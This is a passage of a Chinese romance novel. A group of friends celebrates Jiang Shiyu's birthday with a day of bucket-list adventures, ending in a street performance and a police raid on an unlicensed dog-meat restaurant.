张超像发现了什么新大陆，语气兴奋：“周哥，你快来看啊，我刷到小徐姐账号了，哈哈哈太有意思了。”
“我每次看她挂个相机走走拍拍，以为只是游客打卡，结果她竟然有自己的账号，还挺热的！”
张超迫不及待将手机反过来展示，关了蓝牙，将声音外放。
属于徐漾的声音从音筒里放出来。
欢快的，愉悦的。
视频里是她的碎碎念，日常生活片段，类似vlog记录。
明明很普通的一件事，却在她镜头里变得有意思起来，像施了魔法，抚平了生活的褶皱。
“哈哈哈太好玩儿了，周哥你要账号不，我转发给你。”一则播完，张超收了手机，准备点击分享。
周泽树：“不用。”
“好吧。”张超悻悻地，“真的很有意思，小徐姐的视频好好玩的样子。”
“那个周哥。”张超欲言又止。
周泽树看他一眼：“有什么事？”
“下午没什么人了，我能不能请半天假……”
周泽树不所谓：“走呗，有重要的事要办就办，这个点也没什么人了，不差这会儿。”
张超瞬间喜笑颜开：“遵命！谢谢老板！”
等人走后，“里屿”一下子安静了下来。
周泽树索性挂了歇店关门，准备上楼继续完成做一半还没完成的工程。
脑海里不知怎的自动浮现出那道熟悉的身影，手上的动作怎么都没法进展下去。
心里被什么占着，连注意力都不集中。
周泽树在工作上一向是完美主义者，一般情况下，不会让任何人打扰，专注起来忘了时间是常事。
奇怪，今天怎么了？
无法再做下去，他干脆停了手。
坐了半晌，本能驱使，自然而然点开手机，搜索昵称，还是跟微信同名，他刚刚记住了———
“再懒一会”。
她的昵称和她本人一点也不匹配，视频里的人格外有活力。
早上六点蹬车几十公里就为了吃一份一时兴起且过了点的早餐，途径小学，当起“小大王”带队小朋友在小吃摊挨个打卡。
出门露营，江边吹风钓鱼，小嘴唠叨一副胜券在握很有经验的样子，结果钓上来一条五厘米不到的泥鳅。
懊恼自己太困坐过车，转身就奔了附近一场音乐节，回来买到了最后一束降价处理的花，直夸自己真棒，真有头脑，简直是绝世小天才。
……
她的视频像她整个人一样，配合碎碎念，让浏览者感受到一种淡淡的幸福感，嘴角也跟着不可控上扬。
遇到高兴的事就说，委屈的事也不憋着。
或许这就是高能量吧。
窗外的太阳西斜，不知不觉周泽树将视频从后往前刷，已经看了一大半。
回神时，屋内的光影变了颜色。
三月晴天，余霞散成绮，对面人家白色的木香花染上了温暖的金黄色，荡漾在春日的浪漫里。
夕阳斜射，窗棂的影子落在地上。
他不禁怀疑。
这姑娘是贩卖魔法药水的精灵吗？
要退出，恰好看到最新一期封面跟以前不同。
周泽树迫于好奇，再次点击进去。
发布时间显示晚上十一点，没有视频内容，只是一段音频。
她粗着声清了清嗓子，莫名有一种整理领结的喜感，而后慢慢放低声音，正经起来：
“Hello，都睡了嘛，我猜有的朋友一定睡不着，没关系，那就一起听个故事吧。”
夜里静悄悄的，她轻柔平缓的声音犹在耳边。
“宇宙浩瀚无垠，有些星球很大，也有些星球很小，小王子住的星球是B612号小行星，这颗星球只有房子那么大，在1909年在地球上，一位土耳其科学家用望远镜观察到了B612号星球……”
—
徐漾这几天都没出门，今天才解放。
在集市里逛了一圈，电话来的突然而然，将一大袋东西换了个手，找了个近一点的露天店铺，在外边空桌椅坐下，顺便点了杯饮料。
“喂，老徐。”
“诶闺女，我收到哈。”
讲得是茶叶的事，老徐闲时候爱品茶，上回民宿老板娘推荐了一款本地的，味道还不错，在周泽树那也尝过，就给老徐邮了几罐。
“玩的怎样，看朋友圈里发的，那边挺舒服的。”
“还不错哦。”
两老人家关心孩子不好意思直接问出口，条条朋友圈刷了个遍，又不好冲到第一时间点赞，等个三四个小时假装才看到。
“也别急，玩的开心就好，工作辞了就辞了，哼，此处不留爷，自有留爷处，准能碰到合心意的，要是你来，爸给你插进咱医院。”
老徐多大气的，年纪大了，中二气还不老，一番话逗得徐漾哈哈笑：“我又不是学医的，能来干什么，要不老徐你把院长之位借我，我替你顶顶？”
院长是不可能的，生怕他给自己搞个不太重要的空头职。
切，她可不干，也不感兴趣，她好歹也是靠实力吃饭的。
“好了好了，说着玩的，你们别替我操心，我自己心里有把门，还没玩够呢。”
“行，我们不管你，想怎么折腾，怎么闯都行，我跟你妈永远在你身后。”
“记住啦。”
徐漾心里酸酸的，老头就会说些好听的。
她眨了眨眼，仰头去。
麻雀啾啾叫，余晖灿烂。
好温柔的春天啊。
歇够了，将喝的打包带走，起身看到一个熟悉的背影蹲在地上挑菜。
那人挑好起身，将袋子递给卖菜的婶婶称重，转身恰好打了个照面。
徐漾挥手欣喜冲她打招呼：“时雨姐！”
徐漾看她提这么多菜，想要帮她提一半。
“不用，你自己不还提的有。”
“没事啊，我这都是零食，就包装大又不重，轻飘飘的，那个少的水果我帮你拿好吧。”
江时雨犹豫了一秒，把实在捏不下的那袋给她。
徐漾好奇：“时雨姐你买这么多菜做什么？好多啊，家里来客人了吗？”
江时雨笑了笑：“明天我生日，请了朋友一起吃饭。”
“明天？”
“对，小漾也一起来吧，人多了热闹，哦，我能这么喊你么？”
“可以啊，小羊都可以。”
江时雨忍不住笑：“好，那记得来，
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都是熟人，你认识的。”
“我认识的……”
“周泽树和张超。”江时雨提醒她。
“噢噢噢。”
？
！！
周泽树也去。
她都没反应过来。
自己在云溪里最熟悉的就是“里屿”了。
不知怎的，有股骤然的喜悦跃上心头。这种喜悦大概就类似于吃过一颗橘子糖，但下次想要就没有了，偶然打开包里却意外发现多出了许多。
徐漾一直把人送到家，自己才转道坐车回去。
人家邀请参加生日宴，也不好打个空手，总要带点什么吧，时间实在太急，完全不给人准备的机会。
好在，女孩子比较好入手。
徐漾闲来无事，前年有段时间刷到一个up主的内容，对调香很感兴趣，就跟着学了一手，又自己钻研细学。
以至于，很骄傲的是她现在用的香水都是自己调的，虽然比不上大牌，但她自认为倒腾出来的东西还算那么回事。
翻出箱子，在盒子里挑了一瓶还没打开，适合江时雨气质的。
时雨姐有点江南美人的感觉，说话也轻轻柔柔的。
徐漾最终选定了尾调为雪松和茉莉的一瓶，顺便写了张贺卡。
虽然她对香算有些入门，但那个人身上的味道却怎么都解不出来。
那股淡淡的好闻气息，不得不承认有那么点上头。
为了漂亮，她还特地出门买了礼盒，付款的时候想起什么，又多拿了一个。
约定时间在第二天上午，江时雨家离民宿位置有点远，徐漾早早就起来洗漱，顺带撸了个妆。
站在卫生间整理头发，小女生似的嘟嘴，捋头发，比剪刀手，眨眼睛，自己都要被自己作到。
嘿嘿，真好看。
徐漾站在镜子前忍不住比赞，徐漾啊徐漾，有几分姿色嘛。
看了看镜子，又皱了皱眉，把身上的裙子换了，去衣柜里找了件清爽的外套和牛仔裤，卷了半小时的头发也扎起来。
完成，这样也很好看。
不管怎样，都好看。
云溪地方小，最好最舒服的出行就属小电驴，如果要长待，必须得考虑搞一辆。
虽然这和自己没关系，但鬼使神差下想到这个点。
重新换了套衣服的原因，急急忙忙赶到公交站牌，只剩车屁股一缕烟了，第一趟还是错过了。
服了，早知道就跑快点了。
江时雨家要坐两趟公交，这趟刚走，要在原地等二十分钟。
人家订好的时间，到齐了，都等她一个人算什么。
徐漾坐下，蹭着地上的小沙粒，叹气决定打车算了，耽误时间的时候就该有点先见之明。
刚掏出手机，一则语音通话这时弹了出来。
她差点没拿稳，将手机紧攥在手里，确定来电人没错。
一颗心提了起来，迅速按下接听。
“喂。”
“在哪呢？”
徐漾顿时心虚，轻吸了口气，没想到他们都来这么早，急急忙忙开口：“你们先等等，我马上就过来。”
“走了？”
“正准备出发，不好意——”
“我在民宿楼下。”
“哈？”
“来接你，江时雨家你认识路？”
宇宙漫长，而后。
“……不认识。”
骗人变小狗，当小狗好了。
小狗也不错。
15. chapter 15
徐漾原路折返回去，周泽树果然出现在楼下。
两人刚刚应该错过了。
“跑那么快干嘛，我又不会走。”周泽树将把手上挂的头盔取下来给她。
徐漾缓了口气，强装淡定地快速薅了把蹿飞起来的刘海，才接过头盔，戴在头上。
“谢谢，你打电话的时候我以为你跟张超已经到了。”
“所以才那么急？”
“对，第一趟车我没赶上，我都准备打车了，时雨姐第一次邀请我，要是还迟了，多不好意思。”徐漾坐在他身后，从肩上透过镜子检查自己。
这支口红色号是搭配那条裙子的整体妆容选的。
临时换衣服太急，怎么好像有点不匹配的样子？
没料到被抓包。
周泽树瞥了眼镜子：“挺好看的。”
他认真的语气。
徐漾脸一瞬升温，成了颗熟透的番茄，却抿唇，故作若无其事地撤开视线。
又觉得不对，细眉一挑，愉快地哼了一声：“那是，我也觉得，漂亮吧。”
“是是是，漂亮。”周泽树拖长语气，好笑地说，“走喽，公主——”
心里有个泡泡，噗通，弹了下。
……
两人到了，人已经彻底集齐，除了他们四个外，还有一个叫小娜的女生，是江时雨朋友。
“时雨姐生日快乐！”徐漾找到今天的主角，将礼物递给她，江时雨今天真的很漂亮。
“谢谢。”江时雨腼腆笑笑，又惊又喜。
张超欢呼：“好了，这下都到齐了，我刚刚买了纸牌，我们要不要先玩游戏！”
“现在做饭好像有点太早了，要不先玩会游戏？等一会儿在一起行动做饭。”小娜说。
江时雨没什么意见：“可以呀。”
“我们今天有什么别的安排吗？”徐漾就近拉开一把椅子坐下。
每年江时雨生日都是邀请云溪认识的朋友一起吃饭，之后游荡在游戏厅玩一玩。
几乎就没有别的花样了。
张超瞬间感觉手里的牌不香了，每回都被周哥虐，更别说现在又多了一个新大佬，云溪三号路牌友团大爷们亲认证。
小娜：“要不我们今年换一个玩法？”
张超：“我同意！”
徐漾问：“时雨姐你有什么特别想做的事？就那种想做但不敢做，今天这么好一天，可别浪费了。”
张超附和：“欸！这个提议好。”
江时雨垂下眼，面上有些纠结，过了半晌，找出手机给他们看。
“喏，就这些，我大学毕业后写的。”
这是一个很长很长的清单计划，最新显示时间是昨天，江时雨这些年想到什么就会往上加一条。
不过，里面没有一个打勾的项目。
小娜大声我去了句：“时雨，跟你朋友这么久，没想到你外表温温柔柔实际内心这么野的！！！”
张超和徐漾几乎同时瞪大眼睛投向江时雨。
这里面好多条和江时雨温柔娴静的形象巨不符。
张超：“完全没想到。”
江时雨被看得有些不好意思，无奈笑了笑：“小时候没叛逆过，长大了某个时间点就会有那么些想试一试，但又迈不出步子，感觉没那个必要，也挺奇怪的。”
一直没说话的周泽树道：“那就试一试。”
“对啊。”徐漾浏览完，眼睛亮闪闪的带着鼓励，“今天很重要诶，时雨姐你就不想体验一下？！”
一时之间，四人都看过来，他们眼里没有清单内容叠加在她身上的异样，只有鼓励，没有别的。
仿佛在说，这一天时间完完整整的属于她，可以随意挥霍。
而他们将会随时奉陪到底。
江时雨愣了一下，随即笑了，突然升起莫大的勇气。
“好。”
“哇呼～～！！！”
桌子被拍得噼里啪啦响。
几个人激动兴奋，叫着疯了疯了。
周泽树看着他们，无奈摇了摇头，嘴角弯起一丝温柔的弧度。
尤其是徐漾，她甚至跳起来挨个击掌。
一圈下来轮到周泽树。
她似乎也发现了这样不妥，有点傻傻的，眼睛愣愣盯着他，掌心伸在空中停了几秒，犹豫要不要收回。
没想到。
对方手心已经自然印上去了。
“我们抓紧时间规划规划。”徐漾佯装镇定地坐下。
手心好烫。
她悄悄将手背在身后，另一只手掌半握上去。
温度叠在一起，好似隐秘的牵手，脑袋里冒出这个想法，被自己举动吓了一跳，赶忙松开。
小娜：“对，现在还不到十点，时间还很足，能做几样是几样。”
张超指着其中一条：“我好奇这个，看恐怖电影？”
江时雨解释说：“上小学的时候体育课下雨，班上男生总是爱放恐怖电影，全班同学看的津津有味，其实我还挺喜欢恐怖悬疑这些题材的，甚至有点上头，但我太怂了，从来不敢一个人看，初高中学校管的比较严，就没再看过了。”
小娜：“这个简单，我们可以一起。”
周泽树分析道：“一天时间太短了，根本做不完，且地方设施有限，还有考虑每个人身体素质不同，跳伞，蹦极，骑马像这些只能先排除。”
“那我们可以找一个连续性可以完成的，比如1.从打耳骨钉开始，然后12.13.35.19。”
徐漾抿了抿唇：“19看恐怖电影，正好可以留在最后，应该到晚上了，到时候把今天的菜搬出来，边露天烫火锅边用投影仪放。”
张超惊喜：“哇！可以可以！”
小娜：“我也OK。”
周泽树耸肩，更是没意见。
最重要的是主角，江时雨眼睛亮晶晶的，早已经心动。
35是街边演出。
张超得意：“我爷教过我二胡，我感觉我还不错。”
徐漾：“我学过架子鼓。”
小娜弱弱举手：“大学参加过音乐社算吗？社长和朋友教过我弹吉他，就是好久没碰了，不知道手感怎么样？”
张超：“没事没事，我玩二胡也是好几年前的事了。”
吉他被选走了，徐漾望向桌对面。
周泽树伸了个懒腰，察觉到徐漾的视线，轻笑了声，说：“那我小提琴吧。”
江时雨：“笛子。”
张超忍不住叫绝：“叹服叹服，我都不敢想今天会有多酷，敢情大家平时都藏着掖着啊！！走走走———事不宜迟我们现在就出发。”
“等等。”徐漾突冒出个鬼点子，“我们坐车去临边市怎么样？大概就五十来分钟，去一个没有人认识我们的地方。”
去一个不会被认出的地方！
曾经不敢做的，大胆去做，敞开了去疯，去玩。
不是怕被发现。
而是我们自己都可以忽略自己，原来，我还能这个样子。
江时雨：“我想要这个！”
周泽树已经点击手机，报了一串数字。
“那就加群吧，方便交流，想要先回去一趟收拾的先回去，顺便大家甩个信息出来。”
张超惊觉：“周哥要买票？”
“不然呢，让寿星来？”
四人齐齐同声：“谢谢老板！！！”
这天仿佛都生了勇气，不知是谁感染了谁。
我们有最大的决心，去拼一拼，去搏一场。
拉住黑暗角落里的紧紧抱膝的小人，奋力奔跑。
短时不过二十四小时的出游。
群名被徐漾设置为———“春日逃亡大作战”。
—
平州车站。
阳光灿烂，碧空万里。
几位年轻人伫足在原地。
前后不过二小时他们从云溪来到这里。
这一天，彻底拉开帷幕。
奔赴第一站。
———打耳骨钉。
江时雨连耳洞都没有，大学时候和室友出去玩，她们挑耳环耳钉的时候特别羡慕。
可惜她对痛感特别敏觉，虽然听身边人说其实一点也不疼，可还是会害怕，更别说看了网上保养不好，会发炎发脓的例子了。
而且妈妈也说建议不要打，现在就挺好看的，干嘛要在耳朵上穿两个洞。
但，偶然毕业后的某一天，她换衣服照镜子的时候，觉得耳朵空空的。
于是，就写了这个计划。
周泽树提前预约了商业区一家挺有名的店，将位置发给女孩们，主动问了吃食口味和张超去打包午餐去了。
这个点挺晚的。
店里穿刺师是一位挺帅的高个男人，平头，胳膊和脖子可见的地方都是墨黑色纹身，耳朵上戴着酷酷的耳钉。
“阿树提前跟我说了，你们哪位要打耳骨？”
江时雨捏了捏裙摆，深深呼吸，果断坐下来：“是我。”
男人低眉瞧她一眼，注意到她抽动的手，眼里浮过笑意，哦了一声，戴手套，拿打洞机去了。
小娜坐在休息区偷偷跟徐漾咬耳朵：“这人好帅，我感觉比周泽树更有机会。”
“为什么是比周泽树更有机会？”徐漾啃着苹果不解。
“因为十几岁时候我跟人表白过呀。”
小娜接收到徐漾无比震惊的眼神，耸了耸肩。
“那时候什么都不懂，小屁孩一个，我看周哥帅就莽了，当然，失败喽，不过我也没当回事，帅哥那么多，干嘛要在一棵树上吊死。”
“哦，那一会儿冲？加个微信？”
“OK。”
徐漾看向门外，不禁想周泽树到底喜欢什么样的女孩？
墙上贴着纹身，耳洞鼻环各类的艺术照片。
周泽树也有纹身。
在右手食指的连接处到第一节指骨。
一只水墨色的仰头鲸鱼。
不知道是不是在这里纹的。
徐漾觉得有极大可能。
她听网上说纹身图案设计都有一定意义，那他这个呢？
耳骨钉真的很快，不到一会儿就打完了。
“痛吗？”徐漾迫不及待关心问，才发现她耳廓还有一个。
江时雨转过身语气欢快：“跟我想的完全不一样！打完后有一丢丢痛感，但不是很严重，我又要求加了这边一个耳廓。”
“好看！酷诶！”徐漾比赞。
男人看着她们笑了一声：“心理作用太重了，其实有时候就是想太多，不如什么都别想，想试就试，只有自己亲自感受了才明白。”
徐漾十分同意他的话：“哥你简直太明智了！”
“谢谢姑娘捧场啊。”小姑娘挺逗的。
几人在店里坐了会儿，周泽树和张超回来了。
“打完了？”
“嗯。”
周泽树将打包袋递给徐漾，视线在她耳朵上落了一秒。
随后，另拿了一份进另一屋去了。
徐漾通过没关的门，看进去，男人手搭在周泽树肩上，两人靠在桌柜边，不知道说到什么，周泽树扯唇笑了笑。
那一笑，有些痞性，不禁让人多瞥了几眼。
两个男人站一块，像班里的坏男孩。
挺养眼的。
午餐就在穿孔店里解决。
接下来第二站———尝试没有
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尝试过的妆造。
因为下一站是街边演出，所以这次的妆造五人都参加。
先去化妆工作室集体化妆。
化妆师有两把刷子，根据所有人的脸型气质都考虑在类去改造。
在商场选衣服的时候，张超连拍了好几张：“我靠，太帅了，我都认不出来是我自己了，不行不行，我要发张朋友圈，周哥你看我搭这套衣服行吗？”
张超回头，周泽树已经坐在沙发上玩手机。
不得不说，人比人气死人。
他周哥什么衣服都没挑，身高腿长，一米九的大高个，就他平时穿的黑色牛仔外套，同色工装裤。
甚至妆都没怎么搞，就遮了下黑眼圈，弄了个眼部细节，叫那啥啥，哦，内眼线，还是什么东西，都跟出道大明星似的。
最终衣服，张超想到自己的乐器，没选太过，最终挑了件还算适中的。
两人静静等着姑娘们。
江时雨墨绿色新中式长裙，古韵，冷感，带着不易接近的气场，耳骨上的银钉与衣裙相碰撞，打破常规，增添了几分个性。
和她平时亲和温婉相比，简直大变样。
小娜是长靴，粉色短裙配上简约衬衫，同色系香风外套，俏皮灵动。
徐漾高腰黑色工装裤，黑色坎肩短上衣，头发高高扎起，造型师化了烟熏，做脏辫造型。
没发现，她和周泽树竟是同色，两人不约而同望向彼此，愣了愣，又默契挪开。
江时雨站在镜前侧腰，越看越觉得别扭，但不得不承认，她挺喜欢的。
“好看啊。”小娜压在她肩上，观察镜子里前前后后的一行人，“咱们今天就一个字，都绝！”
张超：“都绝是两个字。”
“……要不要拆台啊，我断句断错了行不行！我说两个就两个。”
“好好好，惹不起惹不起。”
“哼。”
五人笑到不行。
六点三十分，车票时间八点五十。
最后一站，今天的重头戏。
栖水广场。
已经提前选好地方，此刻是人流量开始越来越多的时候。
他们背着乐器，靓男靓女，气质独佳，吸引了不少来来往往的注意。
不会有人认识他们。
夕阳余晖落在这群年轻人身上。
他们无一例外，都发着光。
徐漾忽问：“大家紧张吗？”
小娜：“一点都不。”
张超：“就算演不好，咱们八点直接跟这里saybyebye，不在怕的好不好！”
徐漾没绷住笑，学他：“好！saybyebye！”
江时雨微吸气：“我觉得我可以！”
周泽树手指抚了下琴弓，偏头将琴夹好，已就位准备。
徐漾望了眼队友，鼓棒敲过鼓面，欢呼一声：“那朋友们，咱们开始了！！”
刹那间，刚刚还嘻嘻哈哈的几人面色一转，手持乐器。江时雨长笛，悠然流畅，配合相当默契，紧接着二胡，吉他，小提琴，架子鼓依次加入，各种乐器混在一起，缠绵悠转，流出动人的旋律。
虽开头有些生疏，有两处慢了一拍，甚至能听出有些瑕疵。
可却不怕，都没怕，都没停。
继续着。
继续着。
曲调凄婉，一声一声，一下一下，冬日溪水在冻结前缓缓流淌，枯树枝干被风吹得沙沙，似是前往沙场的战士跟妻儿道别，不舍与苦楚，听得几欲落泪，凄婉又哀。
越来越多人停下步子围上来，看着笼在黄昏里的五位年轻人，广场后的喷池忽已到准点，烟雨蒙蒙，水柱哗然大作！
而恰是这时，旋律乍然高起，鼓点喋喋，激昂雄浑，乐器们音一转，黄沙漫天，战场杀敌，愈来愈烈，气氛骤然紧张，耳边似能听到刀剑相搏，战士们奋力相抗，心仿佛要跳出来。
围上来刚还要跟朋友说话的路人，不知觉收了声，心快到要到嗓子眼，这一曲震撼着每一位听众，利剑犹在眼前。
余晖残霞，乐音缓缓扬长，经过漫长战敌，旋调温婉，二胡、长笛、吉他、提琴、架子鼓再一次默契配合。
天朗气清，竟慢慢将悬起的心抚平，紧张的神色逐渐退去，恍然间，鸟鸣啁啾，花开了满山，马蹄声轻快又显得急迫，那站在桃树下的姑娘牵着孩童。
至此，得见归人。
余音绕梁，几样乐器渐渐隐去，就当要停，要收尾的一瞬，吉他却突然生疏忘了节奏，手指还在拨弦，竟不见停！
糟了。
路人纷纷倒抽一口凉气。
却在此时，小提琴骤然追逐向上，紧接着笛子、二胡、架子鼓紧上，一顿一扬，如琢如磨，画面又一翻，天呀！曲水流觞，孩童也已长大成人，文人武士畅快比拼，白日苍苍，诗词刀剑，酒语欢笑，好不痛快！
一曲作罢路人怔愣，下一秒，响起相当热烈的掌声，纷纷叫唤着好。
“我去，刚刚吓死我了！！”
“太牛了。”
“服了，超级好听！有没有人认识他们啊？”
“虽然开头有点不足，但真的超级棒，完全可以忽略的地步！！！”
“好像看了一部剧啊，太棒了太棒了。”
“这是哪支乐队！今天没听说这边有活动！”
刚刚的小差错，好像根本就不存在，就为了戏耍他们一番。
好似现在也是灿阳花开的白日，可一抬头，月亮的影子却在另一片墨蓝升起来了。
而年轻人们，喘着气望向彼此，灿烂的脸庞，在闹声中惊喜又笑，他们还在晚霞的光辉之中。
哪怕接下来不久是黑夜也没关系。
16. chapter 16
“太畅快了！”
“吓死我了，多亏了你们及时救场，现在想起来我都是后怕。”
“没想到大家都那么厉害，太谦虚了。”
“明天起来我要刷同城！说不定还能刷到我们。”
“刚才那阵我们这边好多人哇，我憋了好久，腿好想抖啊。”
“我也是我也是，但还是要强作镇定，今天才发现，原来我还能这么装哈哈哈哈。”
一路上几人激动讨论不停，越说越兴奋。
张超忍不住背身：“我好久都没碰过二胡，我以为我都要忘了，没想到手拿起来的那刻，就好像回到了坐在门口我爷边教边骂我，我边不服气在他视线里证明我自己的样子。”
小娜诧异：“你小时候学的这么痛苦？”
“不是啊，还挺有意思的，当时小，注意力不集中，大夏天早上，我拉一会儿注意力就跑到树上大叫的蝉上去了，趁我爷进屋火速跑上去逮下来，吓隔壁总是欺负我的小胖子，哈哈哈他竟然怕这玩意儿。”
小娜翻了个白眼：“幼稚。”
张超：“不过我感觉我拉得还是有瑕疵，虽然这些年偶然有时间会玩一玩，这回中途有个高潮，我没跟上。”
徐漾：“没事啊，我们又不是专业的，短短一个下午诶，我们就练了一个多小时，相当牛逼的好不好？！”
小娜附和：“说的没错，我吉他一两年没玩了，我又不是歌手，但刚刚实在不好意思，多亏了周哥后面那个小提琴，哇塞那段酷爆了，太牛了他。”
后面聊着聊着，江时雨也忍不住激情分享自己练笛子的经历。
“特别开心，这是我过过最有意思的一个生日，谢谢小漾，谢谢大家。”江时雨特别满足，回想起现在都是激动的。
“嘿嘿不客气，开心就好。”
小娜：“对，开心就好，今天过得巨爽。”
徐漾从兜里摸出来一条橘子味小狐狸，撕开给身边最近的江时雨，又分给剩下的前面两个，望了望四周，走慢点等了等，往后倒退，递给最后面。
周泽树看了眼，随意捻了一颗丢嘴里。
“再拿一颗，每个人两颗刚刚好。”
“还漏了。”
“……哦。”她摸了摸鼻尖，分不完，本来准备剩下一次性倒嘴里的。
“那你要吗？”
内心OS：手下留情T^T。
徐漾见他指尖快落在两颗黄澄澄的软糖上，心里一紧，下一秒，那只手又折返收了回去。
“不要了。”
“诶诶诶。”徐漾用胳膊怼他，嬉皮笑脸赶紧赔不是，“别呀，至少可以拿一颗是不是，你这样我很愧疚的好不好？”
她怕他生气，慢吞吞地说：“那……那我的三颗也给你！”
周泽树低眸瞧她，好笑道：“徐漾你小学生啊。”
“怎么了怎么了嘛！”徐漾狠狠的：“你看不起小狐狸是不是，我的童年，橘子味的可好吃了。”
“自己吃，我不爱吃甜的。”
“哦。”早说。
“你确定不要？”
“不要。”刚刚本来就是逗她的。
“确定？”
周泽树重重：“确定。”
徐漾放心下来，仰头，一次性倒了四颗，嘴巴随着嚼动一鼓一鼓的，活跟仓鼠似的。
周泽树握拳虚咳了一声，强压住笑意。
“怎么了？”她含糊扭头。
“没什么。”
张超发现人越走越少，转身往后喊：“周哥小徐姐你们俩快点！”
“来了——”徐漾加快速度跑上去，又不知怎的脚步又停下，折返跑回来。
在周泽树诧异的视线里，她拽住他的手腕，小跑起来。
“跟上，别掉队了。”
—
距离发车时间还有五十来分钟。
五人决定去平州小有名气的一条巷子逛逛，到时候直接就近坐几多分钟的地铁过去。
巷子并不小，里面有各种小吃店铺，二元店，服装店，套圈抓娃娃游戏，画石膏……跟夜市差不多。
名气不错，来的人也多，好几个店铺排了长长的队伍，紧密里的人群里普遍都边等边低头玩手机。
瞬间望而却步，这店也不是一定要买，找了个人少的地方，随便逛了逛，买了点东西，就准备走。
刚过出口五百米不远，忽然听到一阵奇怪的嘤嘤声。
摩托车呼哧而过，好像听错了。
直到那个声音再一次出现。
“周哥你有没有……”
张超搓了搓胳膊，话还没说完。
远方岔路口一只瘸着脚受伤的拉布拉多惊恐从黑暗中跑出来，后边跟着一个壮壮的青年男人一手拿着电击棍，一手拿着超大号绿色网兜追，那狗瘸着腿不小心磕到一块凸起来石板，摔了个跟头，“乓哧”一声重响，看得人心抖。
身子还一半在光里，一半隐没在黑暗。
它本马上就要跑出来了。
那只绿色大网就这样趁机精准地罩过来。
“跑，你跑啊，终于让我逮住你了吧。”中年男人发出得逞的笑，甚至还重重踢了一脚狗脑袋。
网子里发出咽呜的惨叫。
他趁没人看见，四处瞄了一眼，赶紧扛着网子往回去，消失在黑黑的岔口。
前前后后不过两分钟时间。
“我靠，狗贩子！”小娜一声暴喊。
徐漾生平最讨厌的就是虐狗偷狗的人。
在众人受惊还没反应过来，倏然猛冲向前，转弯跳进去。
“徐漾！”
—
小道一点灯光都没有，是房子与房子之间的不过三人宽的夹道。
除了几处隐隐红光，能听到摩擦火机的声音，各类云龙混杂的人蹲躺在那里。
夹道之后是一条僻静的后街，相比之下人多热闹的哈赖巷，这里简直称得上落寞。
马路上有一些平层店铺做生意，但人都很少，路边种着一排排的灰扑扑不怎么高的杨树绿化。
要论店面谁最受欢迎，勉强客人算多的，是一家连牌匾都没有，只有红色落地纸板宣传的。
上面写着五个大字——
“胡记狗肉馆”。
徐漾藏在树后面气得牙痒痒，拳头都握紧了。
店里五六个吃饭客人，老板端盘出来，是一个比之前那个年龄还要大，同样体型敦实的男人，玻璃隔窗隐约能看见围着花围裙在颠锅的妇女。
好家伙，还是一家三口！
刚出来，那股油烟味就直往鼻子里钻，胃里一阵痉挛，徐漾紧忙扶住边上的柱子，差点当场呕出来。
猛吸住气，走到店门口，接待客人的中年男人瞧见笑眯眯望过来。
就当要落下脚步迈进去的那刻，肩上一只有力安稳的手搭上来。
徐漾偏头。
是周泽树。
后边江时雨，张超，小娜也来了。
老板脸上和蔼的笑顿时止住，面色谨慎地盯着他们。
周泽树手臂绕过她的肩头圈住，亲密将她带进来，几人就近在门口的一张桌子前坐下。
周泽树站脚勾了一个旁边空
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凳子安放在桌口，边扫视浏览墙上菜单。
“老板，来个五人套餐的。”
大哥瞬间笑容绽开，跟花儿似的：“好嘞好勒，先坐着等一会儿啊，马上后厨就炒，我们家米饭随便加，不收钱哈。”
四人纷纷望向他，周泽树勾了勾唇，没吭声。
徐漾对上他眼睛的那刻，瞬间默契懂了。
不知为什么，踏进屋内的那股心慌和害怕不见了，她相信他一定有办法。
前边桌的四个男客人吃完，起身付款，大哥连连说着欢迎下次再来，跟出去送客。
再进来，大哥身后跟了一个男人，是刚刚抓狗的那个，店老板儿子！
男人不修边幅地扯衣服，擦了把脸上的汗：“爸，又来了。”
“来了就好，来了就好。”
江时雨捏手，里面的意思再明白不过。
刚刚那只拉布拉多落网了。
呸，没良心的一家！
店里人都走了，只有他们这桌客人。
周泽树双手闲闲交叉绕着拇指，忽眉眼抬起，起身过去交涉，是那双让人放松的眸子，和他们闲聊起来。
“这家店好像生意不错，我和我朋友好几次来，今晚上才找到空，老板你们家不错啊。”
大哥听了心里乐开花：“哎呦，还好呐，你们是不是白天来的，我白天店里是排不开哈哈哈，可以给我们发微信。”
他拍儿子后背：“加微信还能送，有小程序老客户还能享八五折。”
歇着扇风的中年男人赶紧掏出手机：“对对对，白天人多，加微信点我们能送。”
“哦，是吗？”
大哥：“我们家品质胃口没得说，来吃过的人都说好。”
周泽树扬起眉梢，情绪莫测地淡笑了下，依旧是那副不咸不淡，不会让人生疑的表情。
可下一句说出的话让父子俩瞬间胆寒，汗毛直竖。
“你们店里我怎么没看见《餐饮经营许可证》，《营业执照》包括肉质检疫合格证明。”
字字句句砸在心里。
他接下来说：“我们接到电话，胡记狗肉馆有非法经营及偷盗他人宠物狗，食用贩卖行为。”
他眸光一凛。
父子俩猛然吓得腿软，这店开得隐蔽，才做起来不到一个月，确实没那玩意儿。
而且狗……
四人坐在后面也跟着紧张，根本不知道这搞得哪出。
却在徐漾猛一拍桌子，一伙人跟着像黑.帮团伙一样哄哄围上去。
徐漾振振有词：“你们就是无证不良黑心商家，我们今天就是专门过来的！”
张超咔咔揉着关节骨，骨头要掰断了，还要面无表情。
江时雨抿了抿唇，抱胸，四十五度仰下巴。
小娜调整了下角度，手搁在江时雨肩上，凶神恶煞。
这……
这这这。
不像警察吧。
倒真是混黑.帮的？
外面气势嚣起，后厨听见动静，急急忙忙跑出来：“怎么了怎么了老头子，出什么事了？”
结果就见这壮观的场面。
“你们……”
周泽树偏头看了眼自己队友们，眸子尽是无奈的笑。
这下，都没一个正经的。
大哥松了口气，非常笃定：“你们不是警察。”
“我们也没说过是哦。”周泽树弯唇，潇洒地抬手从肩上指了指身后。
“但他们是。”
警笛划破夜空，车子已到达店口外。
连串脚步紧跟上来。
17. chapter 17
胡记狗肉馆因为无证非法经营，包括偷盗他人养狗虐杀被端。
店里关押的所有狗狗暂时被接到流浪狗救助中心，不久后将会有主人认领，亲自来带它们回家。
而五位“大侠”坐上了回云溪的车次。
不过，八点多那趟时间已经过了，只好紧赶慢赶，改了最晚十一点的一班。
“太吓人了，还得是我周哥，好好奇呀。”张超满脸钦佩地问周泽树。
“周哥你怎么知道警察一定会来？”
江时雨也问：“还有无牌无证？”
这点徐漾有发言权，踊跃举手。
“其实是我们进来太紧张了，一般墙上菜单旁边就会严令挂这些证件，而且，店门连牌匾都没有，只有一个普通立体纸板，这说明什么？”
